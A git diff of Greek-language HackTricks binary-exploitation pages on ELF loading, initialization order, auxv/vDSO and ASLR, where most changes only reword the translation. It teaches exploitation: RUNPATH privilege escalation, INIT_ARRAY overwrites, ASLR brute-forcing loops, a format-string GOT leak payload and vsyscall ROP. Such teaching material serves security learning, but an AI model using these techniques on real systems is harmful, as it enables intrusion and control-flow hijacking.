κατάλογος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση. ### Σειρά αναζήτησης του δυναμικού φορτωτή (RPATH/RUNPATH, $ORIGIN) -Οι καταχωρίσεις `DT_RPATH` (παρωχημένο) και/ή `DT_RUNPATH` επηρεάζουν το πού αναζητά ο δυναμικός φορτωτής τις εξαρτήσεις. Γενική σειρά: +Οι καταχωρήσεις `DT_RPATH` (παρωχημένο) και/ή `DT_RUNPATH` επηρεάζουν το πού αναζητά ο δυναμικός φορτωτής τις εξαρτήσεις. Γενική σειρά: - `LD_LIBRARY_PATH` (αγνοείται για προγράμματα setuid/sgid ή αλλιώς "ασφαλούς εκτέλεσης") - `DT_RPATH` (μόνο αν απουσιάζει το `DT_RUNPATH`) - `DT_RUNPATH` - `ld.so.cache` -- προεπιλεγμένοι φάκελοι όπως `/lib64`, `/usr/lib64`, κ.λπ. +- προεπιλεγμένοι κατάλογοι όπως `/lib64`, `/usr/lib64`, κ.λπ. -`$ORIGIN` μπορεί να χρησιμοποιηθεί μέσα στο RPATH/RUNPATH για να αναφέρεται στον φάκελο του κύριου αντικειμένου. Από την οπτική γωνία ενός επιτιθέμενου, αυτό έχει σημασία όταν ελέγχετε τη διάταξη του συστήματος αρχείων ή το περιβάλλον. Για σκληρυμένα δυαδικά αρχεία (AT_SECURE), οι περισσότερες μεταβλητές περιβάλλοντος αγνοούνται από τον φορτωτή. +Το `$ORIGIN` μπορεί να χρησιμοποιηθεί μέσα στο RPATH/RUNPATH για να αναφέρεται στον κατάλογο του κύριου αντικειμένου. Από την οπτική γωνία ενός επιτιθέμενου, αυτό έχει σημασία όταν ελέγχετε τη διάταξη του συστήματος αρχείων ή το περιβάλλον. Για σκληρυμένα δυαδικά αρχεία (AT_SECURE), οι περισσότερες μεταβλητές περιβάλλοντος αγνοούνται από τον φορτωτή. - Εξετάστε με: `readelf -d ./bin | egrep -i 'r(path|unpath)'` - Γρήγορη δοκιμή: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (δείχνει αποφάσεις διαδρομής αναζήτησης) -> Συμβουλή για Priv-esc: Προτιμήστε να εκμεταλλευτείτε τα εγγράψιμα RUNPATH ή τα κακώς ρυθμισμένα μονοπάτια σχετικά με το `$ORIGIN` που ανήκουν σε εσάς. Οι LD_PRELOAD/LD_AUDIT αγνοούνται σε περιβάλλοντα ασφαλούς εκτέλεσης (setuid). +> Συμβουλή για Priv-esc: Προτιμήστε να εκμεταλλευτείτε τα εγγράψιμα RUNPATHs ή τα κακώς ρυθμισμένα μονοπάτια σχετικά με το `$ORIGIN` που ανήκουν σε εσάς. Οι LD_PRELOAD/LD_AUDIT αγνοούνται σε περιβάλλοντα ασφαλούς εκτέλεσης (setuid). -## Μετατοπίσεις +## Μεταθέσεις -Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ. +Ο φορτωτής πρέπει επίσης να μεταθέσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μεταθέσεις υποδεικνύονται στον πίνακα μεταθέσεων σε μορφές REL ή RELA και ο αριθμός των μεταθέσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ. ``` readelf -r lnstat @@ -360,15 +360,15 @@ Offset Info Type Sym. Value Sym. Name + Addend #### Σύγχρονη συμπεριφορά σύνδεσης που επηρεάζει την εκμετάλλευση -- `-z now` (Full RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε: +- `-z now` (Πλήρης RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -- `-fno-plt` κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνά από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως `mov reg, [got]; call reg` αντί για `call func@plt`. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση ROP gadget γύρω από τα stubs του PLT. +- -fno-plt κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνάει από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως mov reg, [got]; call reg αντί για call func@plt. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση ROP gadget γύρω από τα stubs του PLT. -- PIE vs static-PIE: Το PIE (ET_DYN με `INTERP`) χρειάζεται τον δυναμικό φορτωτή και υποστηρίζει τη συνήθη μηχανική PLT/GOT. Το Static-PIE (ET_DYN χωρίς `INTERP`) έχει μεταθέσεις που εφαρμόζονται από τον φορτωτή του πυρήνα και κανένα `ld.so`; αναμένετε καμία επίλυση PLT κατά την εκτέλεση. +- PIE vs static-PIE: Το PIE (ET_DYN με INTERP) χρειάζεται τον δυναμικό φορτωτή και υποστηρίζει τη συνήθη μηχανική PLT/GOT. Το Static-PIE (ET_DYN χωρίς INTERP) έχει μεταθέσεις που εφαρμόζονται από τον φορτωτή του πυρήνα και όχι ld.so; περιμένετε καμία επίλυση PLT κατά την εκτέλεση. > Αν το GOT/PLT δεν είναι επιλογή, μεταβείτε σε άλλους γράψιμους δείκτες κώδικα ή χρησιμοποιήστε κλασικό ROP/SROP στο libc. @@ -378,7 +378,7 @@ Offset Info Type Sym. Value Sym. Name + Addend ## Αρχικοποίηση Προγράμματος -Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο: +Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να τρέξει. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -406,9 +406,9 @@ return 0; __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` -Από την οπτική γωνία ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF. +Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF. -Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στην δυναμική ενότητα και το μήκος αυτών υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους. +Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στην δυναμική ενότητα και το μήκος τους υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους. Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**. @@ -416,7 +416,8 @@ __attributte__((destructor)) //Add to the destructor list - Κάτω από το Partial RELRO αυτές οι πίνακες βρίσκονται σε σελίδες που είναι ακόμα εγγράψιμες πριν το `ld.so` αλλάξει το `PT_GNU_RELRO` σε μόνο ανάγνωση. Αν αποκτήσετε μια αυθαίρετη εγγραφή αρκετά νωρίς ή μπορείτε να στοχεύσετε τις εγγράψιμες λίστες μιας βιβλιοθήκης, μπορείτε να αναλάβετε τον έλεγχο της ροής εκτέλεσης αντικαθιστώντας μια εγγραφή με μια συνάρτηση της επιλογής σας. Κάτω από το Full RELRO είναι μόνο για ανάγνωση κατά την εκτέλεση. -- Για κακή χρήση της καθυστερημένης σύνδεσης του δυναμικού συνδέτη για την επίλυση αυθαίρετων συμβόλων κατά την εκτέλεση, δείτε τη σελίδα που είναι αφιερωμένη: +- Για την κακή χρήση της καθυστερημένης σύνδεσης του δυναμικού συνδέτη για την επίλυση αυθαίρετων συμβόλων κατά την εκτέλεση, δείτε τη σελίδα που είναι αφιερωμένη σε αυτό: + {{#ref}} ../rop-return-oriented-programing/ret2dlresolve.md @@ -425,9 +426,9 @@ __attributte__((destructor)) //Add to the destructor list ### Σειρά Αρχικοποίησης 1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**. -2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται. -3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται. -4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται. +2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και εκτελείται η **δυναμική σύνδεση**. +3. Εκτελούνται οι συναρτήσεις **`PREINIT_ARRAY`**. +4. Εκτελούνται οι συναρτήσεις **`INIT_ARRAY`**. 5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται. 6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσετε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`). @@ -437,21 +438,21 @@ __attributte__((destructor)) //Add to the destructor list Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του. -Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS. +Όταν χρησιμοποιείται αυτό, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι παρόμοιες με τις `.data` (αρχικοποιημένες) και `.bss` (μη αρχικοποιημένες) αλλά για TLS. -Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος. +Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος. -Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module. +Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή της μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module. -## Βοηθητικός Διανυσματικός (auxv) και vDSO +## Βοηθητικός Διανύσματος (auxv) και vDSO -Ο πυρήνας του Linux περνά έναν βοηθητικό διανυσματικό σε διαδικασίες που περιέχει χρήσιμες διευθύνσεις και σημαίες για την εκτέλεση: +Ο πυρήνας του Linux περνά έναν βοηθητικό διανύσματος σε διαδικασίες που περιέχει χρήσιμες διευθύνσεις και σημαίες για την εκτέλεση: - `AT_RANDOM`: δείχνει σε 16 τυχαία bytes που χρησιμοποιούνται από τη glibc για το stack canary και άλλους σπόρους PRNG. - `AT_SYSINFO_EHDR`: βασική διεύθυνση της χαρτογράφησης vDSO (χρήσιμο για να βρείτε syscalls και gadgets `__kernel_*`). - `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, κ.λπ. -Ως επιτιθέμενος, αν μπορείτε να διαβάσετε μνήμη ή αρχεία κάτω από `/proc`, μπορείτε συχνά να διαρρεύσετε αυτά χωρίς διαρροή πληροφοριών στη διαδικασία στόχο: +Ως επιτιθέμενος, αν μπορείτε να διαβάσετε μνήμη ή αρχεία κάτω από `/proc`, μπορείτε συχνά να διαρρεύσετε αυτά χωρίς διαρροή πληροφοριών στη στοχοθετημένη διαδικασία: ```bash # Show the auxv of a running process cat /proc/$(pidof target)/auxv | xxd @@ -464,10 +465,10 @@ printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM)); printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR)); } ``` -Η διαρροή του `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε εκείνο τον δείκτη; Το `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας. +Leaking `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε αυτόν τον δείκτη; `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας. -## Αναφορές +## References -- ld.so(8) – Διάταξη αναζήτησης Dynamic Loader, RPATH/RUNPATH, κανόνες ασφαλούς εκτέλεσης (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html -- getauxval(3) – Auxiliary vector και AT_* σταθερές: https://man7.org/linux/man-pages/man3/getauxval.3.html +- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html +- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index 0fd9d802f..9d81ea6cd 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -4,15 +4,15 @@ ## Basic Information -**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης. +**Address Space Layout Randomization (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαία τα διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης. ### **Checking ASLR Status** Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το **`/proc/sys/kernel/randomize_va_space`** αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται: - **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά. -- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες. -- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία. +- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαία. +- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαία διατάσσονται από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία. Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή: ```bash @@ -20,7 +20,7 @@ cat /proc/sys/kernel/randomize_va_space ``` ### **Απενεργοποίηση ASLR** -Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του: +Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για να το απενεργοποιήσετε: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` @@ -35,9 +35,9 @@ setarch `uname -m` -R ./bin args ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` -### **Επιμονή Μεταξύ Επανεκκινήσεων** +### **Επιμονή Κατά τη Διάρκεια Επανεκκινήσεων** -Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή: +Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or @@ -57,27 +57,27 @@ sudo sysctl -p - **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις. - **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`. -- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**. +- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**. Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση. #### Ιδέες brute-force: -- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**. +- Εάν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσει μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλώς να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**. - Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**. -- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit): +- Εάν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. +- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **brute-force τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα το 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. > [!TIP] > Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό. -### 64 bits stack brute-forcing +### Brute-forcing στο stack 64 bits -Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\ -Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στη στοίβα** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**: +Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\ +Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στο stack** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include @@ -190,7 +190,7 @@ p.interactive() ``` - **ret2plt** -Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος: +Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγξε: {{#ref}} ret2plt.md @@ -198,7 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): +Ακριβώς όπως στο ret2plt, αν έχεις μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγεις τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -209,7 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` -Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο: +Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Format Strings arbitrary read στο: {{#ref}} ../../format-strings/ @@ -228,7 +228,7 @@ ret2ret.md Ο μηχανισμός **`vsyscall`** εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** έγκειται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\ Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο `ret;`) -(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη γραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη συγγραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget **ROP** που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το **ASLR** για αυτό το μέρος της εκμετάλλευσης. ``` @@ -273,7 +273,7 @@ gef➤ x/4i 0xffffffffff600800 ``` ### vDSO -Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε: +Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα είναι τυχαία. Για περισσότερες πληροφορίες ελέγξτε: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 0a45382d5..aef64c5a5 100644 --- 